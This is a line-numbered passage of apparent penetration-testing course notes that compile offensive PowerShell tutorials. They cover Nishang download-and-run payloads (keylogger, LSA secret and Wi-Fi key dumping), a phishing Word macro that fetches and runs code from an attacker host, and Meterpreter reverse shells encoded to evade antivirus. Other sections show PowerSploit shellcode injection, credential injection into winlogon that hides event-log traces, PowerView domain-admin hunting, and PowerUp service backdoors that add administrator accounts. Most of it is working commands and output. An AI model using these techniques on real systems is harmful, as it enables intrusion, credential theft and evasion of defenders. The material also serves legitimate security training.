  736. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nishang/Get-Information.ps1','%TEMP%\Get-Information.ps1')
  737. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Get-Information.ps1
  738.  
  739.  
  740.  
  741.  
  742.  
  743. ********************************** Nishang Payload which gathers juicy information from the target. **********************************
  744. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nishang/Information_Gather.ps1','%TEMP%\Information_Gather.ps1')
  745. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Information_Gather.ps1
  746.  
  747.  
  748.  
  749.  
  750.  
  751. ********************************** Nishang script which can drop and execute executables on multiple computers. **********************************
  752. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nishang/Run-EXEonRemote.ps1','%TEMP%\Run-EXEonRemote.ps1')
  753. powershell.exe -ExecutionPolicy Bypass -command Invoke-Command -FilePath %TEMP%\Run-EXEonRemote.ps1 -ComputerName Test-PC
  754.  
  755.  
  756.  
  757.  
  758.  
  759. ********************************** Nishang Payload which logs keys. **********************************
  760. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nishang/Keylogger.ps1','%TEMP%\Keylogger.ps1')
  761. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Keylogger.ps1 16e7a8a83f04eec8ab6bc1bce9d103e3 juraghh@gmail.com ITp!Ka3099 1 http://example.com stopthis
  762.  
  763.  
  764.  
  765.  
  766.  
  767. ********************************** Nishang Payload which silently browses to a URL and accepts Java Applet Run Warning **********************************
  768. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nishang/Browse_Accept_Applet.ps1','%TEMP%\Browse_Accept_Applet.ps1')
  769. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Browse_Accept_Applet.ps1 http://Strategic-Sec-Ubuntu-VM-IP:8080/JavaExploit
  770.  
  771.  
  772.  
  773.  
  774. ********************************** Nishang Payload which dumps keys for WLAN profiles. **********************************
  775. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nishang/Get-WLAN-Keys.ps1','%TEMP%\Get-WLAN-Keys.ps1')
  776. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Get-WLAN-Keys.ps1
  777.  
  778.  
  779.  
  780.  
  781.  
  782. ********************************** Nishang payload which extracts LSA Secrets from local computer. **********************************
  783. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nishang/Get-LSASecret.ps1','%TEMP%\Get-LSASecret.ps1')
  784. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Get-LSASecret.ps1 -filename .\servers.txt
  785.  
  786.  
  787.  
  788.  
  789.  
  790.  
  791.  
  792.  
  793.  
  794.  
  795.  
  796. ##########################
  797. #Phishing with PowerShell#
  798. ##########################
  799.  
  800. Reference:
  801. http://securitypadawan.blogspot.com/2014/01/phishing-with-powershell.html
  802. http://www.rapid7.com/db/modules/exploit/windows/misc/psh_web_delivery
  803.  
  804. I have seen quite a few tweets/comments/etc about using Powershell's functionality within the context of a Microsoft Office document/VBA (https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/blob/master/MacroCode). I am going to share a way I have been leveraging Powershell for payload delivery during phishing engagements for a while now to achieve the same end result in a much simpler fashion. The two stages are as follows:
  805.  
  806. Attacker Machine:
  807. msf > use exploit/windows/misc/psh_web_delivery
  808. msf exploit(psh_web_delivery) > set SRVHOST Strategic-Sec-Ubuntu-VM-IP
  809. msf exploit(psh_web_delivery) > set URIPATH boom
  810. msf exploit(psh_web_delivery) > exploit
  811.  
  812. VBA Macro:
  813. Sub AutoOpen()
  814.  
  815.    Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('http://Strategic-Sec-Ubuntu-VM-IP:8080/boom'))""", 1)
  816. End Sub
  817.  
  818. Save the document as a macro-enabled file.
  819. Send to target, and upon opening....
  820.  
  821.  
  822.  
  823.  
  824.  
  825.  
  826. Meanwhile back at the bat cave...
  827.  
  828.  
  829.  
  830.  
  831.  
  832.  
  833.  
  834. #####################################
  835. #Bypassing Antivirus with PowerShell#
  836. #####################################
  837.  
  838. Reference:
  839. https://www.fishnetsecurity.com/6labs/blog/bypassing-antivirus-powershell
  840.  
  841. On a recent penetration test, I ran into a number of challenges overcoming antivirus on compromised machines. Although I had already obtained domain administrator credentials, a number of roadblocks existed that prevented me from traversing the internal network:
  842.  
  843. Remote Desktop was disabled on roughly 75% of the Windows servers. Although I had a clear-text password, I could not leverage RDP to interact with the systems.
  844. Antivirus was preventing all of my commonly used payloads from executing. Including all my attempts at using Metasploit's meterpreter, shell, upexec, exec, etc. modules. Manual encoding of custom PE files also failed to bypass AV.
  845. To fully leverage the domain admin credentials, I needed a reliable method to access all the Windows servers on the network without interference from Antivirus. Without RDP, I needed to accomplish this through SMB.
  846.  
  847. The solution I present below accomplishes this task by utilizing SysInternals psexec to gain a remote command prompt on the victim. Utilizing this command prompt, I then execute a set of PowerShell commands to upgrade my access to a Meterpreter shell all the while staying hidden from Antivirus. The techniques presented here, while not likely to be bleeding edge, attempt to consolidate a number of disjoint topics into a useful penetration testing scenario.
  848.  
  849. Challenge
  850.  
  851. There are a number of challenges that need to be overcome. Of course, evading antivirus is the ultimate challenge. However, limitations in the number of characters that can be passed via the Windows command prompt presents another challenge that needs to be considered. Additionally, PowerShell may limit a user's ability to execute scripts via its Execution Policy. Although this can be changed, I generally prefer to avoid altering the target machine.
  852.  
  853. Here's how I'll be overcoming these challenges:
  854.  
  855. Evading Antivirus: Execute the Meterpreter shellcode in memory to avoid AV signature detection
  856. Execution Policy Preventing the Execution of PowerShell Scripts: Execute the commands via the -command and -encodedCommand PowerShell switches
  857. Limitations on Windows Command Length: I'll split the commands up into multiple steps and, where needed, execute them using a PowerShell variable which does not have the same size restriction
  858. Overview
  859.  
  860. The process, as I executed it, loosely adheres to the following steps:
  861.  
  862. Generate the Meterpreter payload, encode it, and save it within an accessible location on the attacking machine (e.g. Apache's /var/www directory).
  863. Start a Meterpreter listener on the attacking machine
  864. Utilize SysInternals psexec to obtain a command prompt on the target machine
  865. From the command prompt, execute a PowerShell command to download the payload generated in step one.
  866. From the command prompt, execute another PowerShell command which reads in our payload and executes the encoded version of it.
  867. The Setup
  868.  
  869. In my scenario, there are 3 machines in play:
  870.  
  871. The Windows target - 192.168.3.93
  872. The attacker's Strategicsec Ubuntu machine - Strategic-Sec-Ubuntu-VM-IP
  873. The attacker's Windows machine (used for running psexec standalone). Running as a VM - IP address is inconsequential.
  874. The Preparation
  875.  
  876. Let's get started. Let's start by generating a PowerShell script which executes our Meterpreter payload. This is simple by using msfpayload and msfencode:
  877.  
  878. msfpayload windows/meterpreter/reverse_tcp LHOST=Strategic-Sec-Ubuntu-VM-IP LPORT=443 R | msfencode -t psh -a x86
  879.  
  880. While it's fresh on our minds, start the multi/handler in Metasploit to listen on Strategic-Sec-Ubuntu-VM-IP:443.
  881.  
  882. Although there's likely a quicker way to do the next steps, I chose to utilize my Windows VM. Start by copying the PSH script that was output above. In a Windows command prompt, perform the following:
  883.  
  884. c:\> powershell
  885.  
  886. PS c:\> $cmd = '<PASTE THE CONTENTS OF THE PSH SCRIPT HERE>'
  887.  
  888. PS c:\> $u = [System.Text.Encoding]::Unicode.GetBytes($cmd)
  889.  
  890. PS c:\> $e = [Convert]::ToBase64String($u)
  891.  
  892. PS c:\> $e
  893.  
  894. The above converts our script to Unicode and then Base64 encodes it. A couple of notes... Replace everything in red above (including the '<' and '>' characters) with the script generated by msfpayload/msfencode. This will be a multiline command. Ensure the single quotes are present. You may have to press "Enter" a few times after typing the closing single quote.
  895.  
  896. The last line in the PowerShell series simply prints the encoded payload to the screen. Copy this value and clean it up by removing all new lines. Your encoded data must not span multiple lines.
  897.  
  898. Save the cleaned up, encoded payload on the attacking machine under a directory served by Apache (or whatever web server you prefer). In my case, I'll save it as "shell.txt" in /var/www. Start your web server and verify that the file is accessible.
  899.  
  900. The Execution
  901.  
  902. On your Windows machine, lets get a remote command prompt on the target (this assumes that you have valid credentials on the target).
  903.  
  904. c:\> psexec \\10.1.1.10 -u domain\jdoe -p s3cr3t cmd.exe
  905.  
  906. With all the setup in place, we'll now proceed to download our encoded payload and execute it.
  907.  
  908. In the command prompt we just obtained, enter the following to download our encoded payload:
  909.  
  910. c:\> powershell -noprofile -noninteractive -command "& {$client=new-object System.Net.WebClient;$client.DownloadFile('http://10.1.1.20/shell.txt','c:\windows\temp\_shell.txt')}"
  911.  
  912. For those of you familiar with WGET, the above basically duplicates that functionality. It downloads the file "shell.txt" from http://10.1.1.20 (our attacking machine with the web server running) and saves it to c:\windows\temp\_shell.txt on the target server.
  913.  
  914. Now that we have the encoded shellcode on the target machine, we can execute the following from the same command prompt.
  915.  
  916. c:\> powershell -noprofile -noninteractive -noexit -command "& {$cmd=type 'c:\windows\temp\_shell.txt';powershell -noprofile -noninteractive -noexit -encodedCommand $cmd}"
  917.  
  918. While there are likely more efficient ways to accomplish this command, what it's doing is grabbing the contents of our encoded shellcode and storing it in a variable (via the 'type' command). It then executes an additional PowerShell command. By using the -encodedCommand switch we can pass it our encoded shellcode. This allows us to execute the script via a command line rather than a script (which avoids any ExecutionPolicy restrictions). Additionally, storing the payload in the $cmd variable allows us to bypass command length restrictions of the command prompt.
  919.  
  920. Success
  921.  
  922. Depending on your connection speed, the above command may take some time to execute. When it's complete, we are greeted with the sweet site of a new Meterpreter session untouched by AV...
  923.  
  924. [*] Sending stage (752128 bytes) to 10.1.1.10
  925. [*] Meterpreter session 3 opened (10.1.1.20:443 -> 10.1.1.10:2214) at 2012-08-21 09:06:50 -0400
  926.  
  927. meterpreter > getuid
  928. Server username: domain\jdoe
  929. meterpreter > sysinfo
  930. Computer : VICTIMSVR
  931. OS : Windows .NET Server (Build 3790, Service Pack 2).
  932. Architecture : x86
  933. System Language : en_US
  934. Meterpreter : x86/win32
  935. meterpreter > hashdump
  936. Administrator:500:aad3b435b51404eeaad3b435b51404ee:d<snip>3:::
  937. jdoe:500:aad3b435b51404eeaad3b435b51404ee:d<snip>3:::
  938.  
  939.  
  940.  
  941.  
  942.  
  943.  
  944. #########################################################
  945. #Authenticated Metasploit Payloads via Powershell Psexec#
  946. #########################################################
  947.  
  948. Reference:
  949. http://securitypadawan.blogspot.com/2013/07/authenticated-metasploit-payloads-via.html
  950.  
  951. I love powershell and in a windows environment, powershell is king. Add the ability to perform native code injection and sprinkle in some metasploit and the possibilities are endless. There is a really awesome collection of tools called Powersploit by @mattifestation . These are powershell scripts that take advantage of "features" of powershell to do some cool stuff.
  952.  
  953. @obscuresec is also a contributor to the powersploit project, and not too long ago he had a really cool blog post detailing one way to execute a meterpreter payload within a powershell process. I thought this idea was really cool so I decided to try and take a stab at writing a metasploit module that implements a slightly modified version of this technique.
  954.  
  955. Many times in a penetration test I find myself having valid credentials to a target machine, but my payload keeps getting busted when I try and upgrade my shell to meterpreter.
  956.  
  957. This module allows you to use metasploit's existing powershell encoded payloads, or you can specify a file to use that contains a powershell script (such as powersploit) that will be executed on the target machine within the powershell process using the LPATH variable.
  958.  
  959. At the very minimum, will need to set the LHOST, RHOST, ARCH, SMBUSER and SMBPASS variables.
  960.  
  961. And if all goes as planned...
  962.  
  963. Also we can see that the only thing spawned on the target machine is one powershell process:
  964.  
  965. You can find the module on github https://github.com/jakxx/metasploit-framework/blob/powershell_psexec/modules/exploits/windows/powershell/powershell_psexec.rb.
  966.  
  967.  
  968. ################################################
  969. #PowerSploit: The Easiest Shell You’ll Ever Get#
  970. ################################################
  971.  
  972. Reference:
  973. https://www.pentestgeek.com/2013/09/18/invoke-shellcode/
  974.  
  975. Sometimes you just want a shell. You don’t want to worry about compiling a binary, testing it against antivirus, figuring out how to upload it to the box and finally execute it. Maybe you are giving a demo of an awesome new Meterpreter post-exploitation module. Maybe you have less than a minute of physical access to a Windows kiosk machine and need a quick win. There are plenty of scenarios that end in a penetration tester gaining GUI access to a target machine through guessed or found RDP, ESX or VNC credentials. In those situations, the easiest way to get a Meterpreter shell without worrying about AV is with PowerSploit.
  976.  
  977. PowerSploit  is a collection of security-related modules and functions written in PowerShell. PowerSploit is already in both BackTrack and Kali, and its code is utilized by other awesome tools like SET  so you may already be using it!  Many of the scripts in the project are extremely useful in post-exploitation in Windows environments.  The project was started by Matt Graeber who is the author of the function we will use in this tutorial: Invoke-Shellcode.
  978.  
  979.  
  980. In order for this to work, the target machine must have PowerShell installed and internet access. The first step is for us to set up our handler on our attacker box. This is something we will likely do often, so let’s automated it with a really simple Python script:
  981.  
  982. script PowerSploit: The Easiest Shell Youll Ever Get
  983.  
  984. To start the multi/handler and configure it, we just run the script:
  985.  
  986. python StartListener.py 192.168.0.15 443
  987.  
  988. Now that our handler is ready, we can move on to executing our shell.  The first thing I did to make the next step easier to type is shorten the github link to Invoke-Shellcode with bitly:
  989.  
  990. bitly PowerSploit: The Easiest Shell Youll Ever Get
  991.  
  992. Next, we need to run two commands in a PowerShell prompt to get our Meterpreter shell. The first command will create a .Net WebClient Object to download the function and pass it to Invoke-Expression to put it into memory:
  993.  
  994. IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’)
  995.  
  996. Now we just need to make a call to the Invoke-Shellcode function with the relevant parameters from the listener:
  997.  
  998. Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 192.168.0.15 –Lport 443 –Force
  999.  
  1000. We can actually combine these commands to run a single command to execute our shell:
  1001.  
  1002. IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’); Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 172.0.1.200 –Lport 443 –Force
  1003.  
  1004. powershell PowerSploit: The Easiest Shell Youll Ever Get
  1005.  
  1006. Once we get the prompt back, we can safely close PowerShell because the ultra-useful Smart_Migrate Meterpreter script has safely landed us in a new process:
  1007.  
  1008. meterpreter PowerSploit: The Easiest Shell Youll Ever Get
  1009.  
  1010. That is the easiest and most convenient AV-bypass I have ever seen!  Just open PowerShell and type a command.  Hopefully this post has shown you one way PowerSploit can make your life as a pen-tester easier.  You can find more ways at my  blog and by following me on twitter.  Also, join me at Derbycon when I will talk about the Pass-the-Hash attack and some simple mitigations with Skip Duckwall and how to use PowerSploit and Windows tools to accomplish post-exploitation tasks without uploading binaries with Matt Graeber.  I hope to see you all there!
  1011.  
  1012.  
  1013.  
  1014.  
  1015. #############################################
  1016. #Injecting Logon Credentials With PowerShell#
  1017. #############################################
  1018.  
  1019. Reference:
  1020. http://clymb3r.wordpress.com/2013/11/17/injecting-logon-credentials-with-powershell/
  1021.  
  1022. In this article I will introduce a new script, Inject-LogonCredentials, that uses PowerShell (specifically, the Invoke-ReflectivePEInjection script) to inject credentials in memory.
  1023.  
  1024. I’ll start with a brief review of the current commonly used methods of using stolen credentials.
  1025.  
  1026. Doing a RunAs with a users credential. The downside of a RunAs is that it creates an “Explicit Credential Logon” event in the Windows event logs (event id 4648). As you can see in the picture below, this event shows the account being logged in with (testuser), and the account initiating the new logon (joe). It also shows the process that called the logon API. Incident responders commonly look for this event as an indicator of lateral movement, so it should be avoided.
  1027. Injecting credentials directly in to LSASS. This technique, used by Windows Credential Editor, involves injecting a DLL in to LSASS and modifying its memory to add your credentials. Unfortunately, if LSASS is set to be a protected process in Windows 8.1 this technique fails because only specially signed processes can manipulate protected processes. While it is true that tools such as Mimikatz can disable protected processes, I do not want to load a kernel driver (which is what Mimikatz does) every time I pivot.
  1028. Implementing your own authentication protocols. Examples include the NTLM module in Metasploit, which can perform NTLM authentication without relying on Windows authentication. This has the benefit of staying out of the logs (since it does not rely on Windows authentication libraries). Unfortunately it limits you to using Metasploit modules that use the Metasploit NTLM module. This module only supports NTLM, and not Kerberos. One new feature of Windows 8.1 allows user accounts to be banned from using NTLM, which will prevent this module from functioning.
  1029. As noted, doing a RunAs throws a suspicious event log because it allows an incident responder to see that some random user is logging in with domain admin credentials (or other privileged credentials). Instead of simply doing a RunAs, I will do the following:
  1030.  
  1031. Create a DLL that:
  1032. Opens a named pipe and reads a domain/username/password combination.
  1033. Read a logon type from the named pipe (current supported types are Interactive, RemoteInteractive, and NetworkCleartext).
  1034. Calls LsaLogonUser to create a logon with the credentials it was supplied, and as the logon type supplied.
  1035. Impersonates the token returned by LsaLogonUser with its current thread, which allows the token to be kidnapped by Invoke-TokenManipulation.
  1036. Reflectively inject this DLL in to winlogon.exe using Invoke-ReflectivePEInjection.
  1037. Supply the DLL with the username/password to create a logon for by using a named pipe.
  1038. Call LsaLogonUser with the supplied credentials and logon type within winlogon.exe.
  1039. The differences between this script and a normal RunAs are:
  1040.  
  1041. Process calling the logon API will show up as Winlogon.exe.
  1042. User initiating the logon is SYSTEM, not a random user account.
  1043. You can specify the logon type. For example, you can make LSASS think the account is connecting via RDP, which might be normal. You can also make LSASS think the account is a local logon (someone physically using the computer).
  1044.  
  1045. RunAs 4648 Event Log
  1046. RunAs 4648 Event Log
  1047.  
  1048. 4648 Event Log With Inject-LogonCredentials
  1049. 4648 Event Log With Inject-LogonCredentials
  1050.  
  1051. 4624 With Inject-LogonCredentials
  1052. 4624 With Inject-LogonCredentials
  1053.  
  1054. As you can see, everything that was suspicious in the 4648 event log is gone. But how do you use these credentials now that they are in memory?
  1055.  
  1056. Once you run the script, you can use Invoke-TokenManipulation (or incognito if you are using Metasploit) to kidnap the token of the new logon. You can use this impersonated token to pivot off box using things such as SMB, WMI, and PowerShell remoting.
  1057.  
  1058. Here’s an example:
  1059.  
  1060. Inject-LogonCredentials –DomainName demo –UserName administrator –Password Password1 –ExistingWinLogon
  1061. Invoke-TokenManipulation –CreateProcess “c:\windows\system32\windowspowershell\v1.0\powershell.exe” -UserName “demo\administrator”
  1062.  
  1063. It’s worth mentioning that the script currently has two modes:
  1064.  
  1065. ExistingWinLogon: Injects the DLL in to an already running winlogon process. The DLL will never be unloaded from this process so there is forensic evidence that is left behind if someone does analysis on the winlogon process.
  1066. NewWinLogon: Creates a new winlogon process, running as SYSTEM, using token kidnapping. Injects the logon DLL in to this new winlogon process. Once you are done, you can kill the process. This allows you to delete the process and wipe away DLL injection evidence, but Windows will log that PowerShell.exe created winlogon, which would look strange if anyone notices.
  1067. Hopefully this has helped illustrate how Invoke-ReflectivePEInjection can be used to do awesome things.You can find the script at:
  1068. https://github.com/clymb3r/PowerShell/tree/master/Inject-LogonCredentials
  1069.  
  1070. As usual, it will also be added to PowerSploit.
  1071.  
  1072. ###############################
  1073. #Veil-PowerView: A Usage Guide#
  1074. ###############################
  1075.  
  1076. Reference:
  1077. http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
  1078.  
  1079. [Note: this topic was cross-posted on the Veil-Framework site (https://www.veil-framework.com/veil-powerview-usage-guide/)]
  1080.  
  1081. Veil-PowerView (https://www.veil-framework.com/veil-powerview/)is a project that was originally prompted by a client who locked down their corporate machines by disabling all “net *” commands for normal users. While building pure Powershell replacements to easily bypass this protection, I began to explore what else could be done with Powershell from a domain and network situational awareness perspective. Being inspired by my boss @davidpmcguire, and drawing on existing work from @mubix, the offensive Powershell community (@obscuresec, @mattifestation, and DarkOperator), and the authors of various Metasploit modules like local_admin_search_enum, I began to build more interesting functionality to abuse Windows domains. Now that Veil-PowerView has been tested in multiple, diverse environments and has started to mature a bit, I wanted to put together a quick guide on using some of PowerView’s interesting functionality.
  1082.  
  1083. First, some basic usage: to get the most out of PowerView, you need a current Windows workstation with domain credentials. The credentials don’t need to be privileged, as many of the API methods abused by the tool only need basic user access. To load up PowerView, first download the raw powerview.ps1 (https://raw.githubusercontent.com/Veil-Framework/Veil-PowerView/master/powerview.ps1) script to a local location, and then launch Powershell:
  1084.  
  1085. C:> powershell.exe -nop -exec bypass
  1086. Then import the PowerView module with the following:
  1087.  
  1088. PS C:\> Import-Module [full path to powerview.ps1]
  1089. All of the PowerView cmdlets will now be exposed and tab completable (Invoke-[tab]). To get more information on any command, use get-help [cmdlet], with an optional -full flag to return complete information. I.E. “Get-Help Invoke-Netview -full“. To get a list of all the available functions, check the README.md. Arguments/flags for each cmdles should be tab completable, with something like “Invoke-Netview -[tab]“. If you want to output your results to a file, I recommend using the Powershell Out-File cmdlet, I.E. ​”PS C:\> Invoke-Netview | Out-File -Encoding ASCII output.txt” (the -encoding flag is used since since Powershell defaults to Unicode). If you want detailed output for any of the PowerView commands, just add a “-Debug” flag, and if you want status output for any functions that enumerate multiple machines use “-Verbose”.
  1090.  
  1091. Now, on to the fun stuff. PowerView provides replaces for almost all Windows net commands, letting you query users, machines, domain controllers, user descriptions, share, sessions, and more. The Get-Net* cmdlets should cover most of your needs. For example, the Get-NetComputers cmdlet will let you search for all systems in the domain, and you can provide wildcard searches for the -HostName, -OperatingSystem, and -ServicePack. If you want to use this find all Windows XP boxes on the domain, run:
  1092.  
  1093. PS C:\> Get-NetComputers -OperatingSystem *xp*
  1094. Since we can search for operating systems and service packs, let’s take this one step further. How about finding all machines likely vulnerable to MS08-067, ping them and return any hosts that are up? There’s a function for that:
  1095.  
  1096. PS C:\> Invoke-FindVulnSystems -Ping
  1097. One of the common things we do on assessments is check for overly permissive file shares that our current user can read. This used to be a pretty manual process, but now we can automate it easily. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, get a list of available shares for each machine using Get-NetShare, exclude PRINT$ and IPC$ from the output, and check if the current user has read access:
  1098.  
  1099. PS C:\> Invoke-ShareFinder -Ping -ExcludePrint -ExcludeIPC -CheckShareAccess
  1100. Invoke-Netview is a port of Rob Fullers’s netview.exe tool. It uses native Windows API commands to get the sessions, shares, and loggedon users for target machines, often without needing administrative credentials. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, and wait for a delay of 10 seconds between touching each machine:
  1101.  
  1102. PS C:\> Invoke-Netview -Ping -ExcludeShares -Delay 10
  1103. A really useful thing on an assessment is to know where particular users are logged in. Say you compromise a user that has administrative access to local desktops on a domain. You can use functionality in PowerView to find where high value users (default “Domain Admins”) are logged in, and can even check if you have local admin on the found machines! The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, query AD for members of the “Domain Admins” group, and then check if any users currently logged in/have a sessions on a machine match the target user list. Locations where Domain Admins are located are then displayed:
  1104.  
  1105. PS C:\> Invoke-Userhunter -Ping
  1106. If you want to hunt for a specific user or userlist, or use a pre-populated host list instead of querying AD, there are flags for those actions as well:
  1107.  
  1108. PS C:\> Invoke-UserHunter -UserName “jsmith” -HostList hosts.txt
  1109. An even stealthier way to find where target users are located is to find all the file servers mounted by users from their homeDirectory fields, and run a Get-NetSessions command on the found file servers. This will give you a large amount of information on most corporate networks with a minimal amount of traffic! Invoke-StealthUserHunter can automate all of this for you nicely:
  1110.  
  1111. PS C:\> Invoke-StealthUserhunter -GroupName “Server Admins”
  1112. There are plenty of more functions and options in Veil-PowerView than what we covered here: I encourage you to check out PowerView’s README.md as well as the descriptive comments for each cmdlet in the source which detail use cases, arguments and outputs for each function.
  1113.  
  1114. If you need to invoke PowerView in a non-interactive context, there are a few additional launching options. If you know the function and arguments you want to run (like Invoke-Netview) you can append the function name to the end of the PowerView file and run it with:
  1115.  
  1116. C:\> powershell.exe -nop -exec bypass .\powerview.ps1​ > output.txt
  1117. You can also run it straight without any script modifications with:
  1118.  
  1119. C:\> powershell.exe -exec bypass -Command& {Import-Module .\powerview.ps1; Invoke-Netview | Out-File -Encoding ascii output.txt}
  1120. If you want to invoke everything without touching disk, use something like this:
  1121.  
  1122. C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mYPUO4′); Invoke-NetView -Ping | Out-File -Encoding ascii netview.txt“
  1123. There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append the desired function and any arguments (i.e. “Invoke-StealthUserHunter”) to the end of powerview.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.
  1124.  
  1125. If you have any questions on PowerView, hit me up at will [at] harmj0y.net, on twitter at @harmj0y, Freednode (harmj0y in #veil or #armitage), submit an issue on the official Github page, or come check out the Veil-Framework at BlackHat Arsenal.
  1126.  
  1127.  
  1128.  
  1129. ########################
  1130. #PowerUp: A Usage Guide#
  1131. ########################
  1132.  
  1133. Reference:
  1134. http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/
  1135.  
  1136. Note: this topic was cross-posted on the official Veris Group blog (http://www.verisgroup.com/2014/06/17/powerup-usage/).
  1137.  
  1138. PowerUp (http://www.harmj0y.net/blog/powershell/powerup/) is the result of wanting a clean way to audit client systems for common Windows privilege escalation vectors. It utilizes various service abuse checks, .dll hijacking opportunities, registry checks, and more to enumerate common ways that you might be able to elevate on a target system. We’ve gotten the chance to test PowerUp in multiple environments, as well integrate public feedback, so I wanted to put together a quick usage guide for those wanting to check it out.
  1139.  
  1140. To load up PowerUp, first download the raw script (https://raw.githubusercontent.com/HarmJ0y/PowerUp/master/PowerUp.ps1) to a local location, and then launch Powershell:
  1141.  
  1142.  
  1143.  
  1144. C:> powershell.exe -nop -exec bypass
  1145. Then import the PowerUp module with the following:
  1146.  
  1147. PS C:\> Import-Module .\PowerUp.ps1
  1148. All of the PowerUp cmdlets will now be exposed and tab completable (Get-[tab]). To get more information on any command, use get-help [cmdlet], with an optional -full flag to return complete information. I.E. “Get-Help Get-ServiceEXEPerms -full“. To get a list of all the available functions, check the README.md (https://github.com/HarmJ0y/PowerUp/blob/master/README.md). If you want to output your results to a file, I recommend using the Powershell Out-File cmdlet, I.E. ​”PS C:\> Get-ServicePerms | Out-File -Encoding ASCII checks.txt” (the -encoding flag is used since since Powershell defaults to Unicode).
  1149.  
  1150. The most common way I end up using PowerUp is by using the Invoke-AllChecks function, which runs through all relevant checks for the machine and outputs a status report:
  1151.  
  1152. PS C:\> Invoke-AllChecks | Out-File -Encoding ASCII checks.txt
  1153. Sidenote: there are a few other ways you can run the Invoke-AllChecks functionality in the field, particularly over a Meterpreter (or Beacon) agent. One option is to upload the PowerUp.ps1 script to the machine, drop into a shell, and execute the following command:
  1154.  
  1155. C:\> powershell.exe -exec bypass -Command& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}
  1156. If you want to invoke everything without touching disk, use something like this:
  1157.  
  1158. C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mK64oH’); Invoke-AllChecks”
  1159. There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append “Invoke-AllChecks” to the end of PowerUp.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.
  1160.  
  1161. Now, let’s take a look at that example report:
  1162.  
  1163. Running Invoke-AllChecks
  1164. Checking for unquoted service paths...
  1165. [+] Unquoted service path: CustomSVC - C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe
  1166. Checking service executable permissions...
  1167. [+] Vulnerable service executable: CustomSVC - C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe
  1168. Checking service permissions...
  1169. [+] Vulnerable service: CustomAPP - C:\Custom\deploy.exe
  1170. Checking for unattended install files...
  1171. [+] Unattended install file: C:\Windows\Panther\Unattended.xml
  1172. Checking %PATH% for potentially hijackable service .dll locations...
  1173. Checking for AlwaysInstallElevated registry key...
  1174. [+] AlwaysInstallElevated is enabled for this machine!
  1175. Checking for Autologon credentials in registry...
  1176. We definitely have some interesting output to check out here. The first thing I could check out is the unattended installation file at C:\Windows\Panther\Unattended.xml- this file might have a base64-encoded deployment password that would give us a quick win.
  1177.  
  1178. The next up is the vulnerable service executable. This misconfiguration happens when the executable associated with a service has improper permissions, allowing other users to write to the .exe. Since these services run as SYSTEM, if we replace the exe with our own, we can escalate quickly. PowerUp includes a function to easily back up the service .exe and write out a patched C# service to that service location. If it succeeds, it returns True, and returns False if it fails. We can use the -Verbose flag to get some more information:
  1179.  
  1180. PS C:\> Write-ServiceEXE -ServiceName CustomSVC -UserName backdoor -Password password123 -Verbose
  1181. VERBOSE: Backing up ‘C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe’ to ‘C:\Users\adam\Documents\Visual Studio
  1182. 2008\Projects\Service\Service\bin\Release\service.exe.bak’
  1183. VERBOSE: Service binary written out to ‘C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe’
  1184. True
  1185. This new service binary will create a new user named backdoor, and add them to the local administrators. If we can’t start/stop the service, rebooting the box should do the trick to get the user added. After the user is added, running Restore-ServiceEXE -ServiceName CustomSVC should place the original binary back in its proper place.
  1186.  
  1187. Sometimes services themselves are vulnerable- if we can modify a service and start/stop it, we can change the path name to the service exe to be something like “net user backdoor2 /add”. If we start/stop the service and then repeat that process to add the user to the local administrators, we’re golden:
  1188.  
  1189. PS C:\> Invoke-ServiceUserAdd -ServiceName CustomAPP -UserName backdoor2 -Password password123 -Verbose
  1190. VERBOSE: Service ‘CustomAPP’ original path: ‘C:\Custom\deploy.exe’
  1191. VERBOSE: Service ‘CustomAPP’ original state: ‘Stopped’
  1192. VERBOSE: Adding user ‘backdoor2′
  1193. VERBOSE: Adding user ‘backdoor2′ to group ‘Administrators’
  1194. VERBOSE: Restoring original path to service ‘CustomAPP’
  1195. VERBOSE: Leaving service ‘CustomAPP’ in stopped state
  1196. True
